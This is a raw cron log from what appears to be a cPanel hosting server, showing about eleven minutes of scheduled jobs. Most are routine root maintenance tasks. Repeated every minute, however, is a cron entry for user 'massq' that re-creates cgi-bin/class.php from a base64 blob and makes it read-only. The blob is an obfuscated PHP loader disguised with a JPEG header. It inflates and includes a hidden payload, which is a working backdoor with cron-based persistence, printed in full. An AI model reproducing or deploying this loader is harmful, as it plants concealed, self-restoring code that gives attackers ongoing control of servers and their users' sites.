Sep  1 00:50:01 server CROND[7348]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 00:50:01 server CROND[7356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:50:01 server CROND[7353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:50:01 server CROND[7359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:50:01 server CROND[7357]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:50:01 server CROND[7360]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:50:01 server CROND[7355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:51:01 server CROND[8179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:51:01 server CROND[8180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:51:01 server CROND[8181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:52:01 server CROND[8558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:52:01 server CROND[8560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:52:01 server CROND[8559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:53:01 server CROND[8935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:53:01 server CROND[8936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:53:01 server CROND[8937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:54:01 server CROND[9302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:54:01 server CROND[9303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:54:01 server CROND[9304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:55:01 server CROND[9789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:55:01 server CROND[9792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:55:01 server CROND[9790]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:55:01 server CROND[9794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:55:01 server CROND[9795]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:55:01 server CROND[9791]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:55:01 server CROND[9793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:56:01 server CROND[10609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:56:01 server CROND[10610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:56:01 server CROND[10608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:57:01 server CROND[10987]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 00:57:01 server CROND[10988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:57:01 server CROND[10989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:57:01 server CROND[10986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:58:01 server CROND[11359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:58:01 server CROND[11360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:58:01 server CROND[11361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:59:01 server CROND[11787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:59:01 server CROND[11788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:59:01 server CROND[11789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:00:01 server CROND[12230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:00:01 server CROND[12231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:00:01 server CROND[12232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:00:01 server CROND[12237]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:00:01 server CROND[12242]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 01:00:01 server CROND[12236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:00:01 server CROND[12238]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:00:01 server CROND[12240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:00:01 server CROND[12241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:01:01 server CROND[13133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:01:01 server CROND[13134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
